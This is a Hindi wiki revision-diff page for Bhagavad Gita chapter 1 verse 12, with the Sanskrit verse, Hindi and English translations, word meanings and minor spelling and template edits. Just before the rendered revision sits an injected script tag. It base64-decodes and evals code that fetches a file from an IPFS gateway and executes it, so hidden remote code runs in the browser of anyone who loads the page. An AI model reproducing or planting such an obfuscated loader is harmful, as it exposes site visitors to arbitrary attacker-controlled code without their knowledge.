"गीता 1:12" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>')
 
(३ सदस्यों द्वारा किये गये बीच के ६ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
{{menu}}
 
<table class="gita" width="100%" align="left">
 
<table class="gita" width="100%" align="left">
 
<tr>
 
<tr>
पंक्ति ७: पंक्ति ७:
 
|-
 
|-
 
| valign="top" |
 
| valign="top" |
'''<balloon link="index.php?title=धृतराष्ट्र" title="धृतराष्ट्र पाण्डु के बडे भाई थे। गाँधारी इनकी पत्नी थी और कौरव इनके पुत्र। पाण्डु के बाद हस्तिनापुर के राजा बने ।
+
'''<balloon link="index.php?title=धृतराष्ट्र" title="धृतराष्ट्र पाण्डु के बड़े भाई थे। गाँधारी इनकी पत्नी थी और कौरव इनके पुत्र। पाण्डु के बाद हस्तिनापुर के राजा बने ।
 
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 
धृतराष्ट्र</balloon> उवाच'''
 
धृतराष्ट्र</balloon> उवाच'''
 
----
 
----
 
<div align="center">
 
<div align="center">
'''तस्य संजनयन्हर्ष कुरूवृद्ध: पितामह: ।'''<br />
+
'''तस्य संजनयन्हर्ष कुरुवृद्ध: पितामह: ।'''<br />
 
'''सिंहनादं विनद्योच्चै: शख्ङं दध्मौ प्रतापवान् ।।12।।'''
 
'''सिंहनादं विनद्योच्चै: शख्ङं दध्मौ प्रतापवान् ।।12।।'''
 
</div>
 
</div>
पंक्ति २३: पंक्ति २३:
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
 
| style="width:50%; font-size:120%;padding:10px;" valign="top"|
  
<balloon link="index.php?title=कौरव" title="गान्धारी के सौ पुत्र कौरव कहलाते है । दुर्योधन इन सबमें सबसे बडा था ।  
+
<balloon link="index.php?title=कौरव" title="गान्धारी के सौ पुत्र कौरव कहलाते है । दुर्योधन इन सबमें सबसे बड़ा था ।  
 
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 
¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">
 
कौरवों</balloon> में वृद्ध बड़े प्रतापी पितामह <balloon link="index.php?title=भीष्म" title="भीष्म महाभारत के प्रमुख पात्रों में से एक हैं । ये महाराजा शांतनु के पुत्र थे । अपने पिता को दिये गये वचन के कारण इन्होंनें आजीवन ब्रह्मचर्य का व्रत लिया था । इन्हें इच्छामृत्यु का वरदान प्राप्त था।
 
कौरवों</balloon> में वृद्ध बड़े प्रतापी पितामह <balloon link="index.php?title=भीष्म" title="भीष्म महाभारत के प्रमुख पात्रों में से एक हैं । ये महाराजा शांतनु के पुत्र थे । अपने पिता को दिये गये वचन के कारण इन्होंनें आजीवन ब्रह्मचर्य का व्रत लिया था । इन्हें इच्छामृत्यु का वरदान प्राप्त था।
पंक्ति ४१: पंक्ति ४१:
 
|-
 
|-
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
 
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" |
कुरूवृद्व: =कौरवों में वृद्व: प्रतापवान् = बड़े प्रतापी; पितामह: = पितामह भीष्म ने; तस्य = उस (दुर्योंधन) के (हृदय में); संजनयन् = उत्पन्न करते हुए; उच्चै: = उच्चस्वर से; सिंहनादम् = सिंह की नाद के समान; विनद्य =गर्जकर; दध्मौ = बजाया;  
+
कुरुवृद्व: =कौरवों में वृद्व: प्रतापवान् = बड़े प्रतापी; पितामह: = पितामह भीष्म ने; तस्य = उस (दुर्योंधन) के (हृदय में); संजनयन् = उत्पन्न करते हुए; उच्चै: = उच्चस्वर से; सिंहनादम् = सिंह की नाद के समान; विनद्य =गर्जकर; दध्मौ = बजाया;  
 
|-
 
|-
 
|}
 
|}
पंक्ति ६१: पंक्ति ६१:
 
<td>
 
<td>
 
{{गीता अध्याय}}
 
{{गीता अध्याय}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{गीता2}}
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{महाभारत}}
 
</td>
 
</td>
 
</tr>
 
</tr>
 
</table>
 
</table>
[[category:गीता]]
+
[[Category:गीता]]
 
__INDEX__
 
__INDEX__

१२:३२, २१ मार्च २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-1 श्लोक-12 / Gita Chapter-1 Verse-12

<balloon link="index.php?title=धृतराष्ट्र" title="धृतराष्ट्र पाण्डु के बड़े भाई थे। गाँधारी इनकी पत्नी थी और कौरव इनके पुत्र। पाण्डु के बाद हस्तिनापुर के राजा बने । ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> धृतराष्ट्र</balloon> उवाच


तस्य संजनयन्हर्ष कुरुवृद्ध: पितामह: ।
सिंहनादं विनद्योच्चै: शख्ङं दध्मौ प्रतापवान् ।।12।।



<balloon link="index.php?title=कौरव" title="गान्धारी के सौ पुत्र कौरव कहलाते है । दुर्योधन इन सबमें सबसे बड़ा था । ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> कौरवों</balloon> में वृद्ध बड़े प्रतापी पितामह <balloon link="index.php?title=भीष्म" title="भीष्म महाभारत के प्रमुख पात्रों में से एक हैं । ये महाराजा शांतनु के पुत्र थे । अपने पिता को दिये गये वचन के कारण इन्होंनें आजीवन ब्रह्मचर्य का व्रत लिया था । इन्हें इच्छामृत्यु का वरदान प्राप्त था। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> भीष्म</balloon> ने उस <balloon link="index.php?title=दुर्योधन" title="धृतराष्ट्र-गांधारी के सौ पुत्रों में सबसे बड़ा पुत्र दुर्योधन था। दुर्योधन गदा युद्ध में पारंगत था और श्री कृष्ण के बड़े भाई बलराम का शिष्य था। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤"> दुर्योधन</balloon> के ह्रदय में हर्ष उत्पन्न करते हुए उच्च स्वर से सिंह की दहाड़ के समान गरजकर शंख बजाया ।।12।।

Then Bhisma, the great valiant grandsire of the Kuru dynasty, the grandfather of the fighters, blew his conchshell very loudly like the sound of a lion, giving Duryodhana joy.


कुरुवृद्व: =कौरवों में वृद्व: प्रतापवान् = बड़े प्रतापी; पितामह: = पितामह भीष्म ने; तस्य = उस (दुर्योंधन) के (हृदय में); संजनयन् = उत्पन्न करते हुए; उच्चै: = उच्चस्वर से; सिंहनादम् = सिंह की नाद के समान; विनद्य =गर्जकर; दध्मौ = बजाया;



अध्याय एक श्लोक संख्या
Verses- Chapter-1

1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar>